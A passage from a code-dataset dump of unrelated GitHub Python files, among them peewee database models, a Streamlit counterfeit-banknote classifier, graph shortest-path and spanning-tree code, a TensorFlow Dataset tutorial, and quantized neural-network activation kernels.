uri)\n\nprint(\"Servidor aguardando chamadas...\")\ndaemon.requestLoop()","repo_name":"igorrgabr/dsd","sub_path":"projeto-rmi/servidor.py","file_name":"servidor.py","file_ext":"py","file_size_in_byte":5632,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"5428850804","text":"import configparser\nfrom datetime import datetime\nfrom typing import Optional\n\nfrom peewee import (\n    SQL,\n    CharField,\n    CompositeKey,\n    DatabaseProxy,\n    DateTimeField,\n    FloatField,\n    ForeignKeyField,\n    IntegerField,\n    Model,\n    PostgresqlDatabase,\n    TextField,\n)\n\nfrom scripts.pipelines import entity_pipelines\n\nDATABASE_CONFIG = \"config.ini\"\n\n\ninput_database = DatabaseProxy()\noutput_database = DatabaseProxy()\n\n\nclass InputModel(Model):  # type: ignore\n    \"\"\"\n    Input models are read but never written. These specifications of input models in this file\n    only need to define the fields we want to read, and they may not be a complete specification\n    of the table (i.e. they might leave out indexes or columns).\n    \"\"\"\n\n    class Meta:\n        database = input_database\n\n\nclass Metadata(InputModel):\n    metadata_id = TextField()\n    created_ts = DateTimeField()\n\n\nclass OutputModel(Model):  # type: ignore\n    class Meta:\n        database = output_database\n\n\nclass Paper(OutputModel):\n    s2_id = CharField(primary_key=True)\n    arxiv_id = CharField(index=True, null=True)\n\n\nclass Summary(OutputModel):\n    paper = ForeignKeyField(Paper, on_delete=\"CASCADE\")\n    title = TextField()\n    authors = TextField()\n    doi = TextField(null=True)\n    venue = TextField(index=True, null=True)\n    year = IntegerField(index=True, null=True)\n    \"\"\"\n    Abstract will probably be backfilled.\n    \"\"\"\n    abstract = TextField(null=True)\n\n\nclass Citation(OutputModel):\n    paper = ForeignKeyField(Paper, on_delete=\"CASCADE\")\n\n\nclass CitationPaper(OutputModel):\n    citation = ForeignKeyField(Citation, on_delete=\"CASCADE\")\n    paper = ForeignKeyField(Paper, on_delete=\"CASCADE\")\n\n    class Meta:\n        primary_key = CompositeKey(\"citation\", \"paper\")\n\n\nclass Entity(OutputModel):\n    type = TextField(index=True)\n    source = TextField(\n        choices=((\"tex-pipeline\", None), (\"other\", None)),\n        index=True,\n        default=\"tex-pipeline\",\n    )\n    entity_id = IntegerField(index=True)\n\n\nclass BoundingBox(OutputModel):\n    \"\"\"\n    Expressed in PDF coordinates.\n    \"\"\"\n\n    page = IntegerField()\n    left = FloatField()\n    top = FloatField()\n    width = FloatField()\n    height = FloatField()\n\n\nclass EntityBoundingBox(OutputModel):\n    entity = ForeignKeyField(Entity, on_delete=\"CASCADE\")\n    bounding_box = ForeignKeyField(BoundingBox, on_delete=\"CASCADE\")\n\n    class Meta:\n        primary_key = CompositeKey(\"entity\", \"bounding_box\")\n\n\nclass Annotation(BoundingBox):\n    \"\"\"\n    Human annotation of an entity on a paper. Creating instances of this model with the automated\n    data processing pipeline would be unexpected.\n    \"\"\"\n\n    paper = ForeignKeyField(Paper, on_delete=\"CASCADE\")\n    type = TextField(choices=((\"citation\", None), (\"symbol\", None)), index=True)\n\n    created_at = DateTimeField(constraints=[SQL(\"DEFAULT now()\")])\n    # The client is responsible for updating this field whenever they update the model.\n    updated_at = DateTimeField(constraints=[SQL(\"DEFAULT now()\")])\n\n\ndef init_database(\n    conf: configparser.ConfigParser, config_section: str, schema: Optional[str] = None\n) -> PostgresqlDatabase:\n    \"\"\"\n    Specify a default schema that the database should use for creating a querying tables with\n    the 'schema' parameter. This can allow you to upload data to development tables, rather\n    than the public schema which is queried by the live application.\n    \"\"\"\n\n    db_name = conf[config_section][\"db_name\"]\n    user = conf[config_section][\"user\"]\n    password = conf[config_section][\"password\"]\n    host = conf[config_section][\"host\"]\n    port = conf[config_section][\"port\"]\n\n    # Set the default schema for creating and querying tables by setting as the sole schema in the\n    # database connection's search path.\n    options = f'-c search_path=\"{schema}\"' if schema is not None else \"\"\n    print(options)\n\n    return PostgresqlDatabase(\n        db_name, user=user, password=password, host=host, port=port, options=options,\n    )\n\n\ndef init_database_connections(\n    schema_name: Optional[str] = None, create_tables: bool = False\n) -> None:\n    \"\"\"\n    Initialize database connections.\n    \"\"\"\n\n    config = configparser.ConfigParser()\n    config.read(DATABASE_CONFIG)\n\n    # By default, data will be placed in a schema with the timestamp of the time that this\n    # connection to the database was established.\n    if schema_name is None:\n        timestamp = datetime.utcnow().strftime(\"%Y%m%d_%H%M%S\")\n        schema_name = f\"schema_{timestamp}\"\n\n    input_database.initialize(init_database(config, \"input-db\"))\n    output_database.initialize(init_database(config, \"output-db\", schema_name))\n\n    if create_tables:\n        # Schema must be created before tables, because Peewee will attempt to create the tables\n        # within the schema.\n        output_database.execute_sql(\"CREATE SCHEMA IF NOT EXISTS %s\" % (schema_name,))\n\n        # Assemble the list of database models from a set of defaults, and from the set of models\n        # defined for specific entity pipelines.\n        models_to_create = [\n            Paper,\n            Summary,\n            Citation,\n            CitationPaper,\n            Entity,\n            BoundingBox,\n            EntityBoundingBox,\n            Annotation,\n        ]\n        for pipeline in entity_pipelines:\n            models_to_create.extend(pipeline.database_models)\n\n        output_database.create_tables(\n            models_to_create,\n            # Don't create the tables if they're already created.\n            safe=True,\n        )\n\n        # Provide 'api' user with read access to the new schema.\n        output_database.execute_sql(\n            \"GRANT ALL ON SCHEMA %s TO %s\" % (schema_name, \"api\")\n        )\n        output_database.execute_sql(\n            \"GRANT ALL ON ALL TABLES IN SCHEMA %s TO %s\" % (schema_name, \"api\")\n        )\n        output_database.execute_sql(\n            \"GRANT ALL ON ALL SEQUENCES IN SCHEMA %s TO %s\" % (schema_name, \"api\")\n        )\n","repo_name":"jusheen/scholar-reader","sub_path":"data-processing/common/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":5990,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"22"}
+{"seq_id":"29037982903","text":"import streamlit as st\r\nimport numpy as np\r\nimport pandas as pd \r\nfrom joblib import dump, load\r\n\r\n\r\n# Chargeons le modèle entrainé\r\nmodel = load('regression_model_saved.pkl')\r\n\r\n# Fonction de prédiction et de probabilité\r\n\r\ndef prediction_faux_billets(features):\r\n    X = pd.DataFrame([features])\r\n    predictions = model.predict(X)[0]\r\n    proba = model.predict_proba(X)[0]\r\n    return predictions, proba\r\n\r\n# Créons notre interface Streamlit\r\ndef main():\r\n    st.title('Détection de faux billet')\r\n    st.write('Pouvez-vous entrer les caractéristiques du billet à identifier :')\r\n\r\n    # Entrons des caractéristiques du billet\r\n    diagonal = st.number_input('Diagonal', min_value=0.0)\r\n    height_left = st.number_input('Hauteur gauche', min_value=0.0)\r\n    height_right = st.number_input('Hauteur droite', min_value=0.0)\r\n    margin_low = st.number_input('Marge inférieure', min_value=0.0)\r\n    margin_up = st.number_input('Marge supérieure', min_value=0.0)\r\n    length = st.number_input('Longueur', min_value=0.0)\r\n\r\n    # Bouton prédire\r\n    if st.button('Prédire'):\r\n        features = [diagonal, height_left, height_right, margin_low, margin_up, length]\r\n        predictions, proba = prediction_faux_billets(features)\r\n        if predictions == True:\r\n            st.write('Le billet est bon.')\r\n        else:\r\n            st.write('Le billet est faux.')\r\n        st.write(f'Probabilité d\\'obtention d\\'un vrai billet : {proba[1]}')\r\n        st.write(f'Probabilité d\\'obtention d\\'un faux billet : {proba[0]}')\r\n        \r\n        # Ajout de la jauge pour afficher la probabilité\r\n        st.progress(proba[1])\r\n        st.write(f'Probabilité d\\'obtention d\\'un vrai billet : {proba[1]}')\r\n\r\nif __name__ == '__main__':\r\n    main()\r\n","repo_name":"christelle1carine/p","sub_path":"tests.py","file_name":"tests.py","file_ext":"py","file_size_in_byte":1757,"program_lang":"python","lang":"fr","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"4045865318","text":"import numpy as np\nfrom pprint import pprint\nimport pandas as pd\nimport sys\n\nclass Vertex:\n    def __init__(self, n='', p=None, dfs=sys.maxsize, r=0):\n        self.name=n\n        self.parent=p\n        self.distance_from_source=dfs\n        self.rank=r\n\nclass Edge:\n    def __init__(self, fv=None, tv=None, w=None):\n        self.from_vertex=fv\n        self.to_vertex=tv\n        self.weight=w\n\nclass Graph:\n    def get_vertex_by_name(self, n=''):\n        v=None\n        if n:\n            for _v in self.vertices:\n                if _v.name == n:\n                    v=_v\n                    break\n        return v\n\n    def __init__(self, nv, ne, tg, em, ns, t):\n        self.vertices=[]\n        self.edges=[]\n        vertex_name_list=[]\n        for row in em:\n            fv_name=str(row[0])\n            tv_name=str(row[1])\n            fv = None\n            tv = None\n            if fv_name not in vertex_name_list:\n                vertex_name_list.append(fv_name)\n                if fv_name == ns.name:\n                    fv = ns\n                else:\n                    fv = Vertex(n=fv_name)\n                self.vertices.append(fv)\n            else:\n                fv = self.get_vertex_by_name(n=fv_name)\n            if tv_name not in vertex_name_list:\n                vertex_name_list.append(tv_name)\n                if tv_name == ns.name:\n                    tv=ns\n                else:\n                    tv=Vertex(n=tv_name)\n                self.vertices.append(tv)\n            else:\n                tv = self.get_vertex_by_name(n=tv_name)\n            # print(row[2])\n            w=int(row[2])\n            if tg == 'D':\n                e=Edge(fv=fv, tv=tv, w=w)\n                self.edges.append(e)\n            else:\n                if t=='mst':\n                    e1=Edge(fv=fv, tv=tv, w=w)\n                    self.edges.append(e1)\n                else:\n                    e1=Edge(fv=fv, tv=tv, w=w)\n                    self.edges.append(e1)\n                    e2=Edge(fv=tv, tv=fv, w=w)\n                    self.edges.append(e2)\n\n    def get_adjacent(self, v=None):\n        l=[]\n        if v:\n            v_name=v.name\n            for e in self.edges:\n                if e.from_vertex.name == v_name:\n                    v_adjacent = e.to_vertex\n                    l.append(v_adjacent)\n        return l\n\n    def get_edge_from_vertices(self, fv=None, tv=None):\n        edge=None\n        for e in self.edges:\n            if e.from_vertex.name==fv.name and e.to_vertex.name == tv.name:\n                edge=e\n                break\n        return edge\n\nclass P2:\n    def __init__(self, type=None):\n        self.n_vertex=0\n        self.n_edge=0\n        self.type_graph='' # directed/undirected\n        self.edge_matrix = None\n        self.node_source=''\n        self.type=type\n\n    def read_input(self, file_name=''):\n        df = pd.read_csv(file_name, delimiter=' ', header=None)\n        n = df.values\n        return n\n\n    def parse_input(self, i):\n        self.n_vertex = int(i[0,0])\n        self.n_edge = int(i[0,1])\n        self.type_graph = str(i[0,2]) if i[0,2] else 'U'\n        self.edge_matrix = i[1:1+self.n_edge,:]\n        if len(i) == self.n_edge + 2:\n            ns_name=i[-1,0]\n        else:\n            ns_name= self.edge_matrix[0,0]\n        self.node_source = Vertex(n=ns_name, dfs=0)\n        if self.type == 'sp':\n            print('Source Node: %s'%(ns_name))\n\n    def print_info(self):\n        _info={\n            'no_of_vertex': self.n_vertex,\n            'no_of_edges': self.n_edge,\n            'type_graph': self.type_graph,\n            'edge_matrix': self.edge_matrix,\n            'node_source_name': str(self.node_source.name) if self.node_source and self.node_source.name else ''\n        }\n        pprint(_info)\n\n    def extract_min(self, q=[]):\n        u=q[0]\n        min_distance_from_source = sys.maxsize\n        for vertex in q:\n            dfs = vertex.distance_from_source\n            if dfs < min_distance_from_source:\n                u=vertex\n                min_distance_from_source=dfs\n        u_name=u.name if u.name else ''\n        if u_name:\n            for elem in q:\n                if elem.name == u_name:\n                    q.remove(elem)\n                    break\n        return u, q\n\n    def relax(self, graph=None, u=None, v=None):\n        e=graph.get_edge_from_vertices(fv=u, tv=v)\n        if e:\n            for v_v in graph.vertices:\n                if v_v.name == v.name:\n                    for v_u in graph.vertices:\n                        if v_u.name == u.name:\n                            if int(v_v.distance_from_source) > int(v_u.distance_from_source) + int(e.weight):\n                                v_v.distance_from_source = int(v_u.distance_from_source) + int(e.weight)\n                                v_v.parent = v_u\n        return graph\n\n    def print_path_and_cost(self, graph=None):\n        snode = None\n        for v in graph.vertices:\n            if v.name==self.node_source.name:\n                snode=v\n                break\n        for n in graph.vertices:\n            dnode = n\n            dcost = str(n.distance_from_source)\n            dpath = str(dnode.name)\n            parentnode=dnode.parent\n            while parentnode is not None:\n                dpath = str(parentnode.name) + \" -> \" + str(dpath)\n                parentnode = parentnode.parent\n            print('Node: %s, Cost: %s, Path: %s'%(dnode.name, dcost, dpath))\n\n    def find_set(self, v=None):\n        result=None\n        if v:\n            c=v\n            while c.name != c.parent.name:\n                c = c.parent\n            result=c\n        return result\n\n    def union(self, fv, tv):\n        t=self.find_set(tv)\n        t.parent=fv\n        return\n\n    def apply_algo(self, name='', graph=None):\n        from copy import copy\n        if name=='dijkstra' and graph:\n            s=[]\n            q= copy(graph.vertices)\n            while len(q) != 0:\n                u, q = self.extract_min(q=q)\n                s.append(u)\n                adjacency_list = graph.get_adjacent(v=u)\n                for v in adjacency_list:\n                    graph=self.relax(graph=graph, u=u, v=v)\n            self.print_path_and_cost(graph=graph)\n            return []\n        elif name=='mst_kruskal' and graph:\n            a = []\n            r=1\n            for v in graph.vertices:\n                v.parent=v\n                v.rank=r\n                r+=1\n            sorted_edge_list = sorted(graph.edges, key=lambda item: item.weight)\n            for e in sorted_edge_list:\n                if self.find_set(e.from_vertex) != self.find_set(e.to_vertex):\n                    a.append(e)\n                    self.union(e.from_vertex, e.to_vertex)\n            return a\n\n    def find_shortest_path(self, verbose=False):\n        g=Graph(self.n_vertex, self.n_edge, self.type_graph, self.edge_matrix, self.node_source, self.type)\n        self.apply_algo(name='dijkstra', graph=g)\n\n    def find_mst(self, verbose=False):\n        g=Graph(self.n_vertex, self.n_edge, self.type_graph, self.edge_matrix, self.node_source, self.type)\n        a=self.apply_algo(name='mst_kruskal', graph=g)\n        total_cost = 0\n        for e in a:\n            print(str(e.from_vertex.name) + \" -> \" + str(e.to_vertex.name))\n            total_cost += int(e.weight)\n        print('total cost: %s'%(total_cost))\n\n\nif __name__ == '__main__':\n    print(\"=============================================================================================================\")\n    print(\"SHORTEST PATH ALGORITHM\")\n    print()\n    #input text files\n    file_list = ['dijkstra_graph_1.txt', 'dijkstra_graph_2.txt', 'dijkstra_graph_3.txt', 'dijkstra_graph_4.txt']\n    # file_list = []\n    for file in file_list:\n        input_file_name=file\n        #worker for project 2\n        p=P2(type='sp')\n        i=p.read_input(file_name=input_file_name)\n        p.parse_input(i)\n        # p.print_info()\n\n        # find shortest path\n        p.find_shortest_path(verbose=False)\n        print('END of File (%s) -----------------------------------------------'%(file))\n        print()\n    print()\n    print()\n    print(\"=============================================================================================================\")\n    print(\"MINIMUM SPANNING TREE (KRUSKAL)\")\n    print()\n    #input text files\n    file_list = ['mst_graph_1.txt', 'mst_graph_2.txt', 'mst_graph_3.txt', 'mst_graph_4.txt']\n    # file_list = ['mst_graph_2.txt']\n    for file in file_list:\n        input_file_name=file\n        #worker for project 2\n        p=P2(type='mst')\n        i=p.read_input(file_name=input_file_name)\n        p.parse_input(i)\n        # # p.print_info()\n\n        # find mst\n        p.find_mst(verbose=False)\n        print('END of File (%s) -----------------------------------------------'%(file))\n        print()\n\n\n","repo_name":"hasanjawad001/shortest_path_and_mst","sub_path":"project_2_jawad_chowdhury/project_2.py","file_name":"project_2.py","file_ext":"py","file_size_in_byte":8801,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"4056334790","text":"# -*- coding: utf-8 -*-\n\"\"\"\nstep01_tf_Dataset.py\n\nDataset 클래스 \n -  사용할 데이터셋 slicing -> 메모리 로딩\n - mini batch 방식 : batch size 단위 데이터 공급 \n\"\"\"\n\nimport tensorflow as tf\nfrom tensorflow.python.data import Dataset\n\ndir(Dataset)\n'''\nbatch() : batch(size=100)\nfrom_tensor_slices() : dataset slice\nshuffle() : 셔플링\n'''\n\n############################################\n# 형식1) from_tensor_slices(x, y).batch(n) \n#   - (x, y) : dataset  \n#   - batch(n) : 1회 공급할 data size\n############################################\n\n# 1) x, y 변수 생성 \nX = tf.random.normal([5, 2]) # 2차원\ny = tf.random.uniform([5]) # 1차원 \n\n\n# 2) Dataset 만들기 : batch size=2\ntrain_ds = Dataset.from_tensor_slices( (X, y) ).batch(2) # slices 3개\n\n# slices 단위로 넘김\ncnt = 0\nfor X, y in train_ds: \n    cnt += 1\n    print('slice num :', cnt)\n    print(\"X={}, y={}\".format(X.numpy(), y.numpy()))\n'''\nslice num : 1\nX=[[-0.6373305  2.7589011]\n [ 1.026495   3.3563783]], y=[0.02379429 0.14300716]\nslice num : 2\nX=[[ 0.3897512   0.34321475]\n [ 0.45475012 -0.39804557]], y=[0.10024238 0.8821609 ]\nslice num : 3\nX=[[ 0.5830075  -0.58795774]], y=[0.4398737]\n'''\n\n\n\n\n###############################################################\n# 형식2) from_tensor_slices(x, y).shuffle(buffer_size).batch(n) \n#     - shuffle() 함수 : 메모리 버퍼 크기 지정(서플링 데이터 크기)\n#     - batch() : 1회 공급할 data size 지정  \n################################################################\n\n# Keras dataset 적용 \nfrom tensorflow.keras.datasets.cifar10 import load_data # Cifar10\n(X_train, y_train), (X_val, y_val) = load_data()\n\nprint(X_train.shape) # (50000, 32, 32, 3) : 4차원 \nprint(y_train.shape) # (50000, 1) : 2차원 \n\n\n# 50,000 image 섞음 -> 100개 image 묶음\ntrain_ds = Dataset.from_tensor_slices((X_train, y_train)).shuffle(10000).batch(100) \n\nfor X_train, y_train in train_ds : # 순서대로 1개 slice 넘김\n    print(\"X={}, y={}\".format(X_train.shape, y_train.shape))        \n\n# 전체 image -> 서플링 없음 -> 1,000개 image 묶음(1000*10 = slices 10)\ntest_ds = Dataset.from_tensor_slices((X_val, y_val)).batch(1000) \n\nfor X_val, y_val in test_ds : # 순서대로 1개 slice 넘김\n    print(\"X={}, y={}\".format(X_val.shape, y_val.shape)) \n\n\n","repo_name":"junehh98/Deep_Learning","sub_path":"chapter05_GradientTabe_model/lecture/lecture02_GradientTape_Dataset/step01_tf_Dataset.py","file_name":"step01_tf_Dataset.py","file_ext":"py","file_size_in_byte":2312,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"22"}
+{"seq_id":"43306385722","text":"def is_prime(n):\n    if n < 2:\n        return False\n    return sum([div for div in range(1, n + 1) if n % div == 0]) == n + 1\n\ndef goldbach(n):\n    l = []\n    for i in range(2, n // 2 + 1):\n        if is_prime(i) and is_prime(n - i):\n            l.append((i, n-i))\n    return l","repo_name":"kristiyankisimov/HackBulgaria-Programming101","sub_path":"week0/goldbach/solution.py","file_name":"solution.py","file_ext":"py","file_size_in_byte":277,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"5124046905","text":"import math\n\nimport numpy as np\nfrom graph.types import (HSigmoidActivationParameters,\n                         HSwishActivationParameters, LeakyActivationParameters,\n                         ReluActivationParameters, SigmoidActivationParameters)\nfrom quantization.kernels.kernel_base import (KernelBase, params_type,\n                                              qrec_type, quantization)\nfrom quantization.multiplicative.mult_quantization import \\\n    MultQuantizationRecord\nfrom quantization.multiplicative.utils.scale import (apply_scales,\n                                                     compute_scales)\nfrom quantization.qtype import QType\nfrom quantization.quantization_record_base import QuantizationRecordBase\nfrom quantization.symmetric.kernels.rnn import sigmoidLUT\nfrom utils.at_norm import at_norm\n\n\nclass NNForceRelu:\n    FORCE_RELU = True\n\n\ndef set_force_relu(force_relu: bool):\n    NNForceRelu.FORCE_RELU = force_relu\n\n\ndef get_force_relu():\n    return NNForceRelu.FORCE_RELU\n\n\ndef leak_mult_gen_factor_q7(params):\n    leak_factor = np.array([params.leak_factor])\n    leak_factor = (leak_factor * 2**7).astype(np.int8)\n    return leak_factor\n\n\n@params_type(LeakyActivationParameters)\n@quantization('symmetric')\nclass LeakySymmetric(KernelBase):\n    @classmethod\n    def execute(cls, params,\n                in_tensors,\n                qrec: QuantizationRecordBase,\n                **kwargs):\n        raise NotImplementedError()\n\n\n@params_type(LeakyActivationParameters)\n@quantization('symmetric')\n@qrec_type(MultQuantizationRecord)\nclass LeakySymmetricMult(KernelBase):\n    @classmethod\n    def execute(cls, params,\n                in_tensors,\n                qrec: QuantizationRecordBase,\n                **kwargs):\n        in_tensor = qrec.prepare_inputs(params, in_tensors, ktype=\"symmetric\")[0]\n        qrec.set_scale()\n        neg_in = at_norm(in_tensor * leak_mult_gen_factor_q7(params), 7)\n        in_tensor = in_tensor * (in_tensor > 0) + neg_in * (in_tensor < 0)\n\n        in_tensor = qrec.scale_mul_biases_q.apply_scales(in_tensor)\n        if qrec.out_qs[0] != qrec.in_qs[0]:\n            return qrec.get_outputs(params, [qrec.out_qs[0].reduce_from(in_tensor, qrec.in_qs[0])], ktype=\"symmetric\")\n        return qrec.get_outputs(params, [in_tensor], ktype=\"symmetric\")\n\n\ndef sigmoid(params,\n            in_tensors,\n            qrec: QuantizationRecordBase,\n            details=None):\n    del details\n    if isinstance(qrec, MultQuantizationRecord):\n        raise NotImplementedError()\n    in_tensor = qrec.prepare_inputs(params, in_tensors, ktype=\"symmetric\")[0]\n    dqinput = qrec.in_qs[0].dequantize(in_tensor)\n    return qrec.get_outputs(params, [qrec.out_qs[0].quantize(1/(1 + np.exp(-dqinput)))], ktype=\"symmetric\")\n\n\n@params_type(ReluActivationParameters)\n@quantization('symmetric')\n@qrec_type(MultQuantizationRecord)\nclass ReluSymmetricMult(KernelBase):\n    @classmethod\n    def execute(cls, params,\n                in_tensors,\n                qrec: QuantizationRecordBase,\n                **kwargs):\n        in_tensor = qrec.prepare_inputs(params, in_tensors, ktype=\"symmetric\")[0]\n        qrec.set_scale()\n        relu_lb = qrec.in_qs[0].quantize(params.lower_bound)\n        in_tensor = np.maximum(in_tensor, relu_lb)\n        if params.upper_bound is not None and not NNForceRelu.FORCE_RELU:\n            relu_ub = qrec.in_qs[0].quantize(params.upper_bound)\n            in_tensor = np.minimum(in_tensor, relu_ub)\n        in_tensor = qrec.scale_mul_biases_q.apply_scales(in_tensor)\n        if qrec.out_qs[0] != qrec.in_qs[0]:\n            return qrec.get_outputs(params, [qrec.out_qs[0].reduce_from(in_tensor, qrec.in_qs[0])], ktype=\"symmetric\")\n        return qrec.get_outputs(params, [in_tensor], ktype=\"symmetric\")\n\n\n@params_type(ReluActivationParameters)\n@quantization('symmetric')\nclass ReluSymmetric(KernelBase):\n    @classmethod\n    def execute(cls, params,\n                in_tensors,\n                qrec: QuantizationRecordBase,\n                **kwargs):\n\n        in_tensor = qrec.prepare_inputs(params, in_tensors, ktype=\"symmetric\")[0]\n\n        relu_lb = qrec.in_qs[0].quantize(params.lower_bound)\n        in_tensor = np.maximum(in_tensor, relu_lb)\n        if params.upper_bound is not None:\n            relu_ub = qrec.in_qs[0].quantize(params.upper_bound)\n            in_tensor = np.minimum(in_tensor, relu_ub)\n\n        if qrec.out_qs[0] != qrec.in_qs[0]:\n            return qrec.get_outputs(params, [qrec.out_qs[0].reduce_from(in_tensor, qrec.in_qs[0])], ktype=\"symmetric\")\n        return qrec.get_outputs(params, [in_tensor], ktype=\"symmetric\")\n\n\ndef hsigmoid_mult_gen_factors(params, qrec):\n    in_q = qrec.in_qs[0]\n    fac_1 = in_q.quantize(np.array([params.offset]))\n    qrec.set_scale(extra_scale=1/6)\n    upper_bound = in_q.quantize([6.])\n    lower_bound = in_q.quantize([0.])\n    return fac_1, upper_bound, lower_bound\n\n\n@params_type(HSigmoidActivationParameters)\n@quantization('symmetric')\n@qrec_type(MultQuantizationRecord)\nclass HSigmoidSymmetricMult(KernelBase):\n    @classmethod\n    def execute(cls, params,\n                in_tensors,\n                qrec: QuantizationRecordBase,\n                **kwargs):\n        in_tensor = qrec.prepare_inputs(params, in_tensors, ktype=\"symmetric\")[0]\n        fac_1, upper_bound, lower_bound = hsigmoid_mult_gen_factors(params, qrec)\n        in_tensor = in_tensor.astype(np.int32)\n        in_tensor_relued = np.minimum(np.maximum(in_tensor + fac_1, lower_bound), upper_bound)\n        in_tensor = qrec.scale_mul_biases_q.apply_scales(in_tensor_relued)\n        return qrec.get_outputs(params,\n                                [in_tensor],\n                                ktype=\"symmetric\")\n\n\n@params_type(HSigmoidActivationParameters)\n@quantization('symmetric')\nclass HSigmoidSymmetric(KernelBase):\n    @classmethod\n    def execute(cls, params,\n                in_tensors,\n                qrec: QuantizationRecordBase,\n                **kwargs):\n        in_tensor = qrec.prepare_inputs(params, in_tensors, ktype=\"symmetric\")[0]\n\n        calc_q = QType.Pow2(bits=32, q=qrec.in_qs[0].q + 15, signed=True)\n\n        fac_1 = qrec.in_qs[0].quantize(np.array([params.offset]))\n        fac_2 = (1 << 15) // 6\n        upper_bound = qrec.in_qs[0].quantize(np.array([6.]))\n        lower_bound = qrec.in_qs[0].quantize(np.array([0.]))\n        in_tensor = in_tensor.astype(np.int32)\n        in_tensor = np.multiply(np.minimum(np.maximum(in_tensor + fac_1, lower_bound),\n                                           upper_bound), fac_2, dtype=np.int32)\n        return qrec.get_outputs(params, [qrec.out_qs[0].reduce_from(in_tensor, calc_q)], ktype=\"symmetric\")\n\ndef sigmoid_mult_gen_factors(params, qrec):\n    in_q = qrec.in_qs[0]\n    mul_bias_sigmoid = in_q.scale / math.pow(2, -12)\n    return compute_scales(mul_bias_sigmoid)\n\n@params_type(SigmoidActivationParameters)\n@quantization('symmetric')\n@qrec_type(MultQuantizationRecord)\nclass SigmoidSymmetricMult(KernelBase):\n    @classmethod\n    def execute(cls, params,\n                in_tensors,\n                qrec: QuantizationRecordBase,\n                **kwargs):\n        in_tensor = qrec.prepare_inputs(params, in_tensors, ktype=\"symmetric\")[0]\n        a0, b0 = sigmoid_mult_gen_factors(params, qrec)\n        in_tensor = in_tensor.astype(np.int32)\n        in_tensor_q12 = apply_scales(a0, b0, in_tensor)\n        output = sigmoidLUT(in_tensor_q12)\n\n        #output = qrec.scale_mul_biases_q.apply_scales(output)\n        return qrec.get_outputs(params,\n                                [output >> 8],\n                                ktype=\"symmetric\")\n\ndef hswish_mult_gen_factors(qrec):\n    in_q = qrec.in_qs[0]\n    fac_1 = in_q.quantize(np.array([3.]))\n    # The scale of the result is actually in in_scale * in_scale since it is multiplied by itself\n    qrec.set_scale(extra_scale=qrec.in_qs[0].scale * 1/6)\n    upper_bound = in_q.quantize([6.])\n    lower_bound = in_q.quantize([0.])\n    return fac_1, upper_bound, lower_bound\n\n\n@params_type(HSwishActivationParameters)\n@quantization('symmetric')\n@qrec_type(MultQuantizationRecord)\nclass HSwishSymmetricMult(KernelBase):\n    @classmethod\n    def execute(cls, params,\n                in_tensors,\n                qrec: QuantizationRecordBase,\n                **kwargs):\n        in_tensor = qrec.prepare_inputs(params, in_tensors, ktype=\"symmetric\")[0]\n        fac_1, upper_bound, lower_bound = hswish_mult_gen_factors(qrec)\n        in_tensor = in_tensor.astype(np.int32)\n        in_tensor_relued = np.minimum(np.maximum(in_tensor + fac_1, lower_bound), upper_bound)\n        in_tensor = qrec.scale_mul_biases_q.apply_scales(in_tensor * in_tensor_relued)\n        return qrec.get_outputs(params,\n                                [in_tensor],\n                                ktype=\"symmetric\")\n\n\n@params_type(HSwishActivationParameters)\n@quantization('symmetric')\nclass HSwishSymmetric(KernelBase):\n    @classmethod\n    def execute(cls, params,\n                in_tensors,\n                qrec: QuantizationRecordBase,\n                **kwargs):\n\n        in_tensor = qrec.prepare_inputs(params, in_tensors, ktype=\"symmetric\")[0]\n\n        calc_q = QType.Pow2(bits=32, q=qrec.in_qs[0].q + 15, signed=True)\n        fac_1 = qrec.in_qs[0].quantize(np.array([3.]))\n        fac_2 = (1 << 15) // 6\n        upper_bound = qrec.in_qs[0].quantize([6.])\n        lower_bound = qrec.in_qs[0].quantize([0.])\n        in_tensor = in_tensor.astype(np.int32)\n        in_tensor = at_norm(np.multiply(np.minimum(np.maximum(in_tensor + fac_1, lower_bound), upper_bound),\n                                        in_tensor,\n                                        dtype=np.int32), qrec.in_qs[0].q)\n        return qrec.get_outputs(params,\n                                [qrec.out_qs[0].reduce_from(np.multiply(\n                                    in_tensor, fac_2, dtype=np.int32), calc_q)],\n                                ktype=\"symmetric\")\n","repo_name":"brupa9/gap_sdk","sub_path":"tools/nntool/quantization/symmetric/kernels/activations.py","file_name":"activations.py","file_ext":"py","file_size_in_byte":9897,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"22"}
+{"seq_id":"26974602258","text":"import re\nfrom typing import List, Optional\n\nfrom overrides import overrides\nimport spacy\nfrom spacy.tokens import Doc\nimport ftfy\n\nfrom pytorch_pretrained_bert.tokenization import BasicTokenizer as BertTokenizer\n\nfrom allennlp.common import Registrable\nfrom allennlp.common.util import get_spacy_model\nfrom allennlp.data.tokenizers.token import Token\nfrom allennlp.data.token_indexers.openai_transformer_byte_pair_indexer import text_standardize\n\n\nclass WordSplitter(Registrable):\n    \"\"\"\n    A ``WordSplitter`` splits strings into words.  This is typically called a \"tokenizer\" in NLP,\n    because splitting strings into characters is trivial, but we use ``Tokenizer`` to refer to the\n    higher-level object that splits strings into tokens (which could just be character tokens).\n    So, we're using \"word splitter\" here for this.\n    \"\"\"\n    default_implementation = 'spacy'\n\n    def batch_split_words(self, sentences: List[str]) -> List[List[Token]]:\n        \"\"\"\n        Spacy needs to do batch processing, or it can be really slow.  This method lets you take\n        advantage of that if you want.  Default implementation is to just iterate of the sentences\n        and call ``split_words``, but the ``SpacyWordSplitter`` will actually do batched\n        processing.\n        \"\"\"\n        return [self.split_words(sentence) for sentence in sentences]\n\n    def split_words(self, sentence: str) -> List[Token]:\n        \"\"\"\n        Splits ``sentence`` into a list of :class:`Token` objects.\n        \"\"\"\n        raise NotImplementedError\n\n\n@WordSplitter.register('simple')\nclass SimpleWordSplitter(WordSplitter):\n    \"\"\"\n    Does really simple tokenization.  NLTK was too slow, so we wrote our own simple tokenizer\n    instead.  This just does an initial split(), followed by some heuristic filtering of each\n    whitespace-delimited token, separating contractions and punctuation.  We assume lower-cased,\n    